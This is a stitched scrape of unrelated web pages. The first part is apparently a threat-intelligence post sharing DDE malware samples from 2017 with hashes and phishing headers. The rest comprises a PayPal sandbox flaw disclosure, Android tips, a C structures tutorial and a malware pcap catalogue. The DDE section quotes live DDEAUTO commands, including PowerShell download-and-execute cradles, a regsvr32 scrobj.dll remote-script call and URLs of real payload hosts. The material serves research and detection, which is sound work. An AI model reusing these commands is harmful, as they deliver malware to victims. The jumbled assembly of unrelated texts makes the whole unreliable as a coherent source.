DDE Command Execution Malware Samples

Here are a few samples related to the recent DDE Command execution






Reading:
10/18/2017 InQuest/yara-rules 
10/18/2017 https://twitter.com/i/moments/918126999738175489 

10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability

10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland

10/16/2017 https://twitter.com/noottrak/status/919975081828261888

10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure 

10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure

10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild 

10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger 

10/10/2017  NViso labs: MS Office DDE YARA rules

10/09/2017 Sensepost: Macro-less Code Exec in MSWord

Download

 Download. Email me if you need the password  (updated sample pack)

File information

List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 

File details with MD5 hashes:

Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b

Message information

For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

 Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])

by m0049925.ppops.net with ESMTP id 2dhb488ej6-1

(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)

for <snip>; Wed, 11 Oct 2017 00:09:20 -0400

Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)

(envelope-from <EDGAR@sec.gov>)

id 1e28HE-0001S5-Ew

for <snip>; Wed, 11 Oct 2017 00:05:48 -0400

To: <snip>

Subject: EDGAR Filings

X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75

X-PHP-Originating-Script: 658:class.phpmailer.php

Date: Wed, 11 Oct 2017 04:05:48 +0000

From: EDGAR <EDGAR@sec.gov>

Reply-To: EDGAR <EDGAR@sec.gov>

Message-ID: <7608a3de5fe6c9bf7df6782a8aa9790f@roofingexperts.org>

X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"

Content-Transfer-Encoding: 8bit

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com

X-AntiAbuse: Original Domain - nu.com

X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]

X-AntiAbuse: Sender Address Domain - sec.gov

X-Get-Message-Sender-Via: usa2.serverhoshbilling.com: authenticated_id: salesapo/only user confirmed/virtual account not confirmed

X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo

X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp

X-Source-Args: lsphp:ntent/themes/sp/examples/send_edgar_corps.php

X-Source-Dir: salesapogee.com:/roofingexperts/wp-content/themes/sp/examples

X-CLX-Shades: Junk

X-CLX-Response: <snip>

X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,

 signatures=0

X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0

 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0 clxscore=-262

 lowpriorityscore=0 impostorscore=0 adultscore=0 classifier=clx:Junk

 adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000

 definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: multipart/alternative;

boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings

--b2_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>

--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f

Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>

--b1_7608a3de5fe6c9bf7df6782a8aa9790f--

for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

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From: Emmanuel Chatta <Emmanuel.Chatta@stadnardbank.co.za>

To: <snip>

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Thread-Topic: Document

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Hacking PayPal's Express Checkout

Do you know what is happening in the background when you buy something in an online shop using PayPal?

In this post we will tackle the following problems:

• How can PayPal's API be tested?
• How does PayPal's Express Checkout work? You can find the detailed report here.
• How can we debit more money than authorized?

How PayPal's API can be tested?

PayPal's Sandbox API

PayPal offers a feature called PayPal Sandbox Accounts, which mimics the production API. The basic idea is that a normal user/shop can test the API and make transactions without actually transferring money. This is the perfect tool for developers to test their API integration.

Access to all messages

The next question is how to get access to all messages. All browser-related messages can be inspected, intercepted, and modified via BurpSuite. The main problem here is how to get access to the server-to-server exchanged messages: the messages exchanged between PayPal and a shop. In order to solve this problem, we deployed our own shop. For this purpose we used Magento, which already has a PayPal integration.
Once we have our own controlled shop, we can enforce Magento to send all request through a proxy.
In the following picture you can see our setup.

Test suite for analyzing PayPal's API [1]

In order to capture the traffic between our Magento hhop and PayPal we proceeded as follows:

• We configured Magento to use a proxy running on localhost:8081.
• We connected the proxy port on the virtual machine with our local machine via SSH remote port forwarding by issuing the following command

    ssh -N -R 8081: localhost :8081 <IP of Magento shop>

• We configured BurpSuite running on our local machine to listen on Port 8081 for incoming requests.

Now, we were able to see the entire traffic.
Please note that we uses our own, custom Magento shop in order to be able to test Paypal's API.

PayPal's Express Checkout

An overview of the checkout procedure is depicted in the following:

PayPal's Express Checkout [2]

Step 1: Magento tells the PayPal API where to redirect the user after authorizing the transaction via the parameter RETURNURL and requests a token for this transaction.
Step 2: The PayPal API provides Magento with the token.
Step 3: Magento redirects the user to PayPal's website. The redirect contains the token from the previous step.
Step 4:  The user authorizes the transaction. As a result, he will be redirected back to Magento (RETURNURL) with the token.
Step 5: Magento issues a request to the PayPal API to get the transaction details.

Step 6: Magento signals the PayPal API to execute the transaction.

Step 7: Magento serves the success page.

A more detailed view of the protocol and all parameters is shown on page 16 in the full version. We will concentrate only on step 6 and the parameters relevant for the attack.

The Attack

The goal of the attack is to let a shop (in our case Magento) debit more money than authorized by the PayPal user. The core of the attack is Step 6 -- DoExpressCheckoutPayment. Let's get a deeper look at this message:

Magento can raise the authorized amount and debit more money from the user's account

• The shop sends the token, which was issued in the first step of the protocol and identifies uniquely the transaction through all steps. 
• The PayerID referring to the user that authorized the payment.
• The AMT defining the amount, which will be transferred.
• The API Credentials authenticating Magento on PayPal.
• The Version pointing to the release number of the API.

As one can imagine, the core problem we found was the change of the AMT parameter. This value can be freely chosen by the shop, despite the fact that the user has authorized a different amount.

We tested only the SandBox API, but refused to test the production API in order to avoid problems. We promptly contacted PayPal's security team and described the problem hoping that PayPal can and will test the production API against the attack.

The response of PayPal can be summarized as follows:

• We don't get any BugBounty since we only tested the Sanbox API. (Fair enough)
• In the Production API PayPal this flexibility is a wanted feature. Thus, PayPal allows a merchant to charge for shipping and/or other expenses different amounts. Any malicious behavior can be detected by PayPal. In case of fraudulent charges the consumer are protected by the Buyer Protection policy.

... but the Sandbox API was nevertheless fixed.

Authors of this Post

Daniel Hirschberger
Vladislav Mladenov
Christian Mainka (@CheariX)



[1] BurpSuite Logo
[2] PayPal Express Checkout

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15 Hidden Android Features You Should Know

While Android has matured by leaps and bounds, it's still going through the refinement phase. Over time, Google has both added and removed many popular features in Android. Sometimes the features are completely removed. However, in many cases, they make it to the Settings page or they are buried under different hidden places inside Android. That's why we have come up with this article where we unearth 15 hidden Android features that are quite interesting and helpful. So, let's go ahead and explore some unique Android features which are available on our Android devices.

Hidden Android Features

Here, we have mentioned several hidden Android features ranging from privacy, security, ease of use and more. Further, we have also added some obscure Android features which were released recently but might have gone under the radar. Now with that said, here are the hidden Android features that you should know and use often.

1. Block Spam Calls

The one feature that I turn on whenever I set up a new Android device is: filter spam calls. It saves me from unwanted calls by telemarketers, fraudsters and spammers. If you use a stock Android device, you must have the Phone app by Google installed as your default dialer. To enable spam call blocking, open the Phone app and tap on the three-dot menu on the top-right corner and open Settings. After that, open "Caller ID and spam" and enable both the toggles. Now, whenever you will receive a call by spammers, the screen won't light up or make any sound. It's almost like DND with Total Silence turned on.

If you are worried that you will miss important calls then fret not. I have been using this feature for a long time and I can vouch that it works flawlessly. While there are other apps like Truecaller with similar features, you should be wary against handing your data to third-party apps, especially given its shady past record.

2. Verification Code Autofill

Many of us have allowed SMS permission to multiple apps for seamless OTP verification. However, this can lead to serious breach as apps can read all your text messages and also build credit profile without your consent. To crack down on this behavior, Google has brought a new API called the SMS Retriever. It allows apps to capture a one-time code without asking for SMS permission. In case, the app developer has not implemented this API, Google will act as a bridge and provide the verification code. That is awesome, right? So to enable this feature, navigate to Settings -> Google -> Verification Code Autofill and enable the toggle. Make sure you have also enabled the Autofill service by Google.

3. Force Dark Mode on all Apps

While the dark mode is slowly becoming the norm, there are still apps like Facebook and WhatsApp which are yet to embrace the dark side. If you want to force dark mode on a range of apps then there is a hidden Android setting that lets you do it. However, you must be on the latest Android 10 build. To enable dark mode for all the apps, navigate to Settings -> About Phone and tap on the Build Number for seven times continuously. A toast notification will show up prompting "Developer Options have been enabled". Now go back, and search for "Override force-dark" in the Settings page. Tap on the first result and then enable the toggle. Just to be sure, restart your device and check if dark mode is working on all apps.

4. Focus Mode

Google has brought a new feature called Focus Mode to Digital Wellbeing with the launch of Android 10. While Digital Wellbeing is great at limiting the screen time of various apps, Focus Mode allows you to block certain apps completely so you can focus on what you are doing. To configure Focus Mode, follow Settings -> Digital Wellbeing -> Focus Mode. Here, you can select apps that you find distracting and can enable Focus Mode straight from the Quick Settings panel.

5. Share WiFi with QR Code

I know the feeling when someone asks you to share your WiFi's password and you can't seem to remember it. If you use a strong password with multiple hashes and characters then it becomes even more tedious to type it out. In such cases, a QR code can help you seamlessly connect to WiFi networks. Thankfully, Android 10 has this not-so-hidden feature under the WiFi Settings page. Open it and you will find the QR code scanner besides the "Add Network" section. Now, scan the QR code and you will be connected in no time.

6. Randomize MAC Address

MAC address is a unique identifier assigned to WiFi-enabled devices including smartphones. Most devices come with a static MAC which can be exploited and used for tracking user movement. So having a random MAC address reduces the chance of tracking and strengthens your privacy. If you are running Android 10 then you can randomize the MAC address from the WiFi Settings page. Tap on the WiFi that you are connected to and open "Privacy". Here, make sure "Use randomized MAC" is your default pick.

7. Force Apps to Resize in Split Mode

Android has some unique features like Split Mode which make it quite distinct from iOS. It lets you run two apps at once so you can effortlessly multitask between them. However, not all apps support Split Mode and that's where this hidden Android feature comes into play. With this feature, you can force any app to resize in split mode, irrespective of the app compatibility. So to enable this feature, open Settings and search for "resizable". Open the first result and enable "Force activities to be resizable". Now, restart your device and you can enjoy any app in the Split mode.

8. Default USB Configuration

If you are someone who regularly connects Android devices to PC then this sneaky feature is going to help you a lot. Android 10 now allows you to choose your default USB configuration. If you transfer files regularly then simply choose the desired settings and you are good to go. To configure USB, open Settings and search for "Default USB" and tap on the first result. Here, choose "File transfer" or any other settings based on your preference.

9. Private DNS

While Private DNS was launched with Android Pie, it still remains one of the least talked features of Android. It allows you to encrypt your DNS query so no one can read it, not even your internet service provider. You can find the Private DNS feature in the "Network and Internet" settings page. Here, open "Private DNS" and choose Automatic for Google's DNS or you can also select some other DNS providers as well. I would recommend you to go with Cloudflare's DNS.

10. Device Theming

Device theming has finally arrived on Android, but it's still hidden under the developer options. You can change the accent color, font and icon shape from a handful of options. To find the desired settings page, open Settings and search for "theming". Tap on the top result and customize your Android device as you prefer.

11. Show Taps While Screen Recording

With the release of Android Oreo, Google removed the ability to show taps while screen recording for security reasons. However, the settings to configure taps is still available and hidden under the developer options. Just open the Settings page and search for "taps". Open the first result and enable the toggle. Now, you can record your screen with taps and that's really convenient.

12. Capitalize Words Quickly

If you want to capitalize words quickly then Gboard has this nifty feature which is super helpful and I simply love it. Just select the words and tap the "Shift" button twice to capitalize a chunk of words at once. You can also make it lowercase by similarly double tapping the shift button. And if you just want to keep the initials capital then tap the shift button once. That's pretty great, right? So go ahead and type hassle-free with Gboard.

13. Uninstall Multiple Apps

One of the best hidden Android features is that you can uninstall multiple apps at once. It works on older versions of Android as well so that is great. All you have to do is open the Google Play Store and tap on the hamburger menu and select "My apps and games". Here, switch to the "Installed" section and then tap on "Storage". After that, simply select apps that you want to uninstall and hit that "Free Up" button. Voila, multiple apps just got uninstalled in just one tap.

14. Clear Site Storage Using Chrome

Chrome is notorious for accumulating a large amount of data in background which makes the performance worse and also takes up crucial storage space. If you want to check what websites are eating up your memory space then a hidden Chrome setting can help you with that. Open Chrome on your Android device and head over to its Settings page. Now, navigate to Site Settings and open Storage. Here, you will find all the websites with their storage space. Open any website and tap on the "Delete" icon to finally free up your internal storage from unnecessary cached data.

15. Street View Layer in Google Maps

Street View is an immersive way to explore places and find new landmarks, hotels, restaurants from anywhere around the world. Now, the Street View Layer has been added to Google Maps and it works pretty well. To check if Street View is available in your region, open Google Maps and tap on the "layer" icon on the top-right corner. Now, tap on "Street View" icon and then zoom out to find blue lines on the map. Finally, tap on the blue lines and Street View will show up for that place. That's cool, right? So go ahead and check out Street View to find some hidden gems around the world.

Note: The blue lines show up wherever street view is available.

@EVERYTHING NT

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Structure Part I: The Basics

 

Today we are going to go through Structures from defining structures to using structures.
Structures are just a collection of different types under one roof (you can even put one type only!). So that means they give you flexibility of grouping different data types (like int, char, or even char[]) under one name.
So let us start with obviously defining a Structure. In `C` we declare a structure as simply as this:-
struct dob {
    int day;
    int month;
    int year;};
1: In the above code segment struct is a keyword which defines structure.
2: Followed by struct keyword (dob) is the name of our structure.
3: Elements of struct are defined inside braces '{}' as we did (int day; etc).
4: After ending brace we place a terminator ';' to end the declaration.
So now you know how to define a structure but how to create its instances now?
To create a variable of our structure we just need to do this:
struct dob date;
This now declares date as a structure variable of type dob.
1: Here 'struct dob' is our above declared structure.
2: date is a variable of type dob.
So ok we have a structure and a variable of that type but how can i access its parts?
well we can access it and assign it so simply like this:-
date.day = 19;date.month = 10;date.year  = 1990;
Note here we use the dot (.) operator to access the fields (parts) of our structure.
ok everything looks nice so for but how in the world can i read data into this structure variable? Again no worries its again simple:-
scanf("%d", &date.day);scanf("%d", &date.month);
that was pretty easy but I was wondering how can i print its data?
Just do it like this:-
printf("Day: %d", date.day);printf("Month: %d",date.month);printf("Year: %d", date.year);
Again remember we use dot (.) operator to access members of a structure.
So we now know how to define and declare a structure, how to access its members, how to read data in it, and how to print data of a structure. Oh that was a tough job..!
Now let us put it together in a single C Program.

/***********************************************/
#include <stdio.h>
struct dob {
   int day;
   int month;
   int year;
};
int main(void) {
  struct dob date;
  date.day = 19;
  date.month = 10;
  date.year = 1990;
  printf("Day is : %d, Month is: %d, and Year is %d\n",
           date.day,date.month, date.year);
  printf("Enter Day, Month, and Year separated by spaces: ");
  scanf("%d %d %d", &date.day,&date.month,&date.year);
  printf("Your entered Date is: %d/%d/%d",
  date.day,date.month,date.year);
  return 0;
}

Output:
Day is : 19, Month is: 10, and Year is 1990
Enter Day, Month, and Year separated by spaces: 1 1 2014
Your entered Date is: 1/1/2014

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Collection Of Pcap Files From Malware Analysis

Update: Feb 19. 2015

We have been adding pcaps to the collection so remember to check out the folder ( Pcap collection) for the recent pcaps.

I had a project to test some malicious and exploit pcaps and collected a lot of them (almost 1000) from various public sources. You can see them in the PUBLIC folder. The credits go to the authors of the pcaps listed in the name of each file. Please visit their blogs and sites to see more information about the pcaps, see their recent posts, and send them thanks. The public pcaps have no passwords on them.




Update:Dec 13. 2014 

Despite rare updates of this post, we have been adding pcaps to the collection so remember to check out the folder ( Pcap collection (New link)) for the recent pcaps!

Update:Dec 31. 2013 - added new pcaps

I did some spring cleaning yesterday and came up with these malware and exploit pcaps. Such pcaps are very useful for IDS and signature testing and development, general education, and malware identification. While there are some online public sandboxes offering pcaps for download like Cuckoo or Anubis but  looking for them is a tedious task and you cannot be totally sure the pcap is for the malware family supposedly analysed - in other words, if the sandbox says it is Zeus does not necessarily mean that it is.

I found some good pcap repositories here (http://www.netresec.com/?page=PcapFiles) but there are very few pcaps from malware.

These are from identified and verified (to the best of my knowledge and belief - email me if you find errors) malware samples.

All of them show the first stage with the initial callback and most have the DNS requests as well. A few pcaps show extended malware runs (e.g. purplehaze pcap is over 500mb).
Most pcaps are mine, a few are from online sandboxes, and one is borrowed from malware.dontneedcoffee.com. That said, I can probably find the corresponding samples for all that have MD5 listed if you really need them. Search contagio, some are posted with the samples.

Each file has the following naming convention:
BIN [RTF, PDF] - the filetype of the dropper used, malware family name, MD5, and year+month of the malware analysis.

I will be adding more pcaps in the future. Please donate your pcaps from identified samples, I am sure many of you have.

Thank you

Download

Download all together or separately.

All pcaps archives have the same password (same scheme), email me if you need it. I tried posting it without any passwords and pass infected but they get flagged as malware. Modern AV rips though zips and zips with the pass 'infected' with ease.

APT PCAPS

Download all together or separately.

1. 2012-12-31 BIN_Xinmic_8761F29AF1AE2D6FACD0AE5F487484A5-pcap
2. 2013-09-08 BIN_TrojanPage_86893886C7CBC7310F7675F4EFDE0A29-pcap
3. 2013-09-08 BIN_Darkcomet_DC98ABBA995771480AECF4769A88756E-pcap
4. 2013-09-02 8202_tbd_ 6D2C12085F0018DAEB9C1A53E53FD4D1-pcap
5. 2013-09-02 BIN_8202_6d2c12085f0018daeb9c1a53e53fd4d1-pcap
6. 2013-09-02 BIN_Vidgrab_6fd868e68037040c94215566852230ab-pcap
7. 2013-09-02 BIN_PlugX_2ff2d518313475a612f095dd863c8aea-pcap
8. 2013-09-02 BIN_Taidoor_46ef9b0f1419e26f2f37d9d3495c499f-pcap
9. 2013-09-02 BIN_Vidgrab_660709324acb88ef11f71782af28a1f0-pcap
10. 2013-09-02 BIN_Gh0st-gif_f4d4076dff760eb92e4ae559c2dc4525-pcap.zip
11. 2013-07-15 BIN_Taleret.E_5328cfcb46ef18ecf7ba0d21a7adc02c.pcap
12. 2013-05-14 BIN_Mediana_0AE47E3261EA0A2DBCE471B28DFFE007_2012-10.pcap
13. 2013-05-14 BIN_Hupigon_8F90057AB244BD8B612CD09F566EAC0C
14. 2013-05-14 BIN_LetsGo_yahoosb_b21ba443726385c11802a8ad731771c0_2011-07-19
15. 2013-05-13 BIN_IXESHE_0F88D9B0D237B5FCDC0F985A548254F2-2013-05-pcap
16. 2013-05-06 BIN_DNSWatch_protux_4F8A44EF66384CCFAB737C8D7ADB4BB8_2012-11-pcap
17. 2013-05-06 BIN_9002_D4ED654BCDA42576FDDFE03361608CAA_2013-01-30-pcap
18. 2013-05-06 BIN_BIN_RssFeeder_68EE5FDA371E4AC48DAD7FCB2C94BAC7-2012-06-pcap (not a common name, see the traffic ssheet http://bit.ly/maltraffic )
19. 2013-04-30 BIN_MSWab_Yayih_FD1BE09E499E8E380424B3835FC973A8_us-pcap
20. 2013-04-29 BIN_LURK_AF4E8D4BE4481D0420CCF1C00792F484_20120-10-pcap
21. 2013-04-29 BIN_XTremeRAT_DAEBFDED736903D234214ED4821EAF99_2013-04-13-pcap
22. BIN_Enfal_Lurid_0fb1b0833f723682346041d72ed112f9_2013-01.pcap
23. BIN_Gh0st_variant-v2010_B1D09374006E20FA795B2E70BF566C6D_2012-08.pcap
24. BIN_Likseput_E019E37F19040059AB5662563F06B609_2012-10.pcap
25. BIN_Nettravler_1f26e5f9b44c28b37b6cd13283838366.pcap
26. BIN_Nettravler_DA5832657877514306EDD211DEF61AFE_2012-10.pcap
27. BIN_Sanny-Daws_338D0B855421867732E05399A2D56670_2012-10.pcap
28. BIN_Sofacy_a2a188cbf74c1be52681f998f8e9b6b5_2012-10.pcap
29. BIN_Taidoor_40D79D1120638688AC7D9497CC819462_2012-10.pcap
30. BIN_TrojanCookies_840BD11343D140916F45223BA05ABACB_2012_01.pcap
31. PDF_CVE-2011-2462_Pdf_2011-12.pcap
32. RTF_Mongall_Dropper_Cve-2012-0158_C6F01A6AD70DA7A554D48BDBF7C7E065_2013-01.pcap
33. OSX_DocksterTrojan.pcap

CRIMEWARE PCAPS

Download all together or separately.

1. 2013-11-12_BIN_ChePro_2A5E5D3C536DA346849750A4B8C8613A-1.pcap
2. 2013-10-15_BIN_cryptolocker_9CBB128E8211A7CD00729C159815CB1C.pcap
3. 2013-09-20_BIN_Lader-dlGameoverZeus_12cfe1caa12991102d79a366d3aa79e9.pcap
4. 2013-09-08 BIN_Tijcont_845B0945D5FE0E0AAA16234DC21484E0-pcap
5. 2013-09-08 BIN_Kelihos_C94DC5C9BB7B99658C275B7337C64B33-pcap.zip
6. 2013-08-19 BIN_Nitedrem_508af8c499102ad2ebc1a83fdbcefecb-pcap
7. 2013-08-17 BIN_sality_CEAF4D9E1F408299144E75D7F29C1810-pcap
8. 2013-08-15 BIN_torpigminiloader-pcap.zip
9. 2013-13-08 EK_popads_109.236.80.170_2013-08-13.pcap
10. 2013-11-08 BIN_Alinav5.3_4C754150639AA3A86CA4D6B6342820BE.pcap
11. 2013-08-08 BIN_BitcoinMiner_F865C199024105A2FFDF5FA98F391D74-pcap
12. 2013-08-07 BIN_ZeroAccess_Sirefef_C2A9CCC8C6A6DF1CA1725F955F991940_2013-08-pcap
13. 2013-07-05 BIN_Kuluoz-Asprox_9F842AD20C50AD1AAB41F20B321BF84B
14. 2013-05-31 Wordpress-Mutopy_Symmi_20A6EBF61243B760DD65F897236B6AD3-2pcap.pcap
15. 2013-05-15 BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap
16. 2013-05-15 BIN_Gypthoy_3EE49121300384FF3C82EB9A1F06F288-2013-05.pcap
17. 2013-05-12 BIN_PassAlert_B4A1368515C6C39ACEF63A4BC368EDB2-2013-05-13
18. 2013-05-12 BIN_HorstProxy_EFE5529D697174914938F4ABF115F762-2013-05-13-pcap
19. 2013-05-12 BIN_Bitcoinminer_12E717293715939C5196E604591A97DF-2013-05-12-pcap
20. 2013-05-07 BIN_ZeroAccess_Sirefef_29A35124ABEAD63CD8DB2BBB469CBC7A_2013-05-pcapc
21. 2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
22. 2013-05-05 BIN_GameThief_ECBA0FEB36F9EF975EE96D1694C8164C_2013-03-pcap
23. 2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
24. 2013-04-27 EK_BIN_Blackhole_leadingto_Medfos_0512E73000BCCCE5AFD2E9329972208A_2013-04-pcap
25. 2013-04-26 -- BIN_Citadel_3D6046E1218FB525805E5D8FDC605361-2013-04-samp 
26. BIN_CitadelPacked_2012-05.pcap
27. BIN_CitadelUnpacked_2012-05.pcap
28. BIN_Cutwail_284Fb18Fab33C93Bc69Ce392D08Fd250_2012-10.pcap
29. BIN_Darkmegi_2012-04.pcap
30. BIN_DarknessDDoS_v8g_F03Bc8Dcc090607F38Ffb3A36Ccacf48_2011-01.pcap-
31. BIN_dirtjumper_2011-10.pcap
32. BIN_DNSChanger_2011-12.pcap
33. BIN_Drowor_worm_0f015bb8e2f93fd7076f8d178df2450d_2013-04.pcap
34. BIN_Googledocs_macadocs_2012-12.pcap
35. BIN_Imaut_823e9bab188ad8cb30c14adc7e67066d.pcap
36. BIN_IRCbot_c6716a417f82ccedf0f860b735ac0187_2013-04.pcap
37. BIN_Kelihos_aka_Nap_0feaaa4adc31728e54b006ab9a7e6afa.pcap
38. BIN_LoadMoney_MailRu_dl_4e801b46068b31b82dac65885a58ed9e_2013-04 .pcap
39. BIN_purplehaze-2012-01.pcap
40. BIN_ponyloader_470a6f47de43eff307a02f53db134289.pcap
41. BIN_Ramnitpcap_2012-01.pcap
42. BIN_Reedum_0ca4f93a848cf01348336a8c6ff22daf_2013-03.pcap
43. BIN_SpyEye_2010-02.pcap
44. BIN_Stabuniq_F31B797831B36A4877AA0FD173A7A4A2_2012-12.pcap
45. BIN_Tbot_23AAB9C1C462F3FDFDDD98181E963230_2012-12.pcap
46. BIN_Tbot_2E1814CCCF0C3BB2CC32E0A0671C0891_2012-12.pcap
47. BIN_Tbot_5375FB5E867680FFB8E72D29DB9ABBD5_2012-12.pcap
